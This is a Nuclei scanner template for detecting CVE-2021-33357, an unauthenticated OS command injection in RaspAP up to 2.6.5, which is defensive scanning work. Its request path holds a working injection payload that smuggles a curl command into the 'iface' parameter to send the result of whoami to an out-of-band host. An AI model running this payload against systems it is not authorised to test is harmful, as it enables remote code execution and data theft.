nuclei-templates/http/cves/2021/CVE-2021-33357.yaml

id: CVE-2021-33357

info:
  name: RaspAP <=2.6.5 - Remote Command Injection
  author: pikpikcu,pdteam
  severity: critical
  description: |
    RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
  remediation: |
    Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://github.com/RaspAP/raspap-webgui
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33357
    cwe-id: CWE-78
    epss-score: 0.96582
    epss-percentile: 0.99517
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: raspap
    product: raspap
  tags: cve,cve2021,rce,raspap,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "DHCPEnabled"

    extractors:
      - type: regex
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'
        part: interactsh_request
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